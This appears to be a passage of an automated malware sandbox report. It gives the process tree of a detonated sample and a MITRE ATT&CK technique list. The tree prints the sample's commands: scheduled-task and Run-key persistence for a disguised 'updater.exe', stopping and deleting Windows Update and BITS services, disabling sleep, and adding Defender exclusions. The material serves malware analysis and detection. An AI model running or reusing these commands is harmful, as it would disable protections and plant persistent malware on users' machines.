  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:3336
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:2848
- C:\Windows\SysWOW64\explorer.exe
  C:\Windows\SysWOW64\explorer.exe
  2⤵
  PID:4320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wsyzqeupt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'NoteUpdateTaskMachineQC' /tr '''C:\Program Files\Notepad\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Notepad\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'NoteUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "NoteUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Notepad\Chrome\updater.exe' }
  2⤵
  PID:3908
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4904
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2268
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:100
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:3448
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:3924
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
  2⤵
  PID:2440
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:4940
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1560
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3988
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:1916
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:3592
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:4620
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:4724
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    PID:2432
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
    3⤵
    PID:2828
- - C:\Windows\System32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:1452
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#iqegjinl#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "NoteUpdateTaskMachineQC" } Else { "C:\Program Files\Notepad\Chrome\updater.exe" }
  2⤵
  PID:4384
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn NoteUpdateTaskMachineQC
    3⤵
    PID:4696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:1636

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4792 -ip 4792
1⤵
PID:3784

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 920 -ip 920
1⤵
PID:4272

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 2612 -ip 2612
1⤵
PID:4404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 2104 -ip 2104
1⤵
PID:2120

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
  2⤵
  - Loads dropped DLL
  PID:4900
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4900 -s 600
    3⤵
    - Program crash
    PID:1760

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 4900 -ip 4900
1⤵
PID:3364

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2848 -ip 2848
1⤵
PID:3336

C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
C:\Users\Admin\AppData\Roaming\Win32Sync\svcupdater.exe
1⤵
- Executes dropped EXE
PID:1976

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
- Executes dropped EXE
PID:3728
- C:\Windows\SysWOW64\schtasks.exe
  /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
  2⤵
  - Creates scheduled task(s)
  PID:4048

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:4772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 4184 -ip 4184
1⤵
PID:5092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 4184 -ip 4184
1⤵
PID:4008

C:\Program Files\Notepad\Chrome\updater.exe
"C:\Program Files\Notepad\Chrome\updater.exe"
1⤵
PID:4936

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4940

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery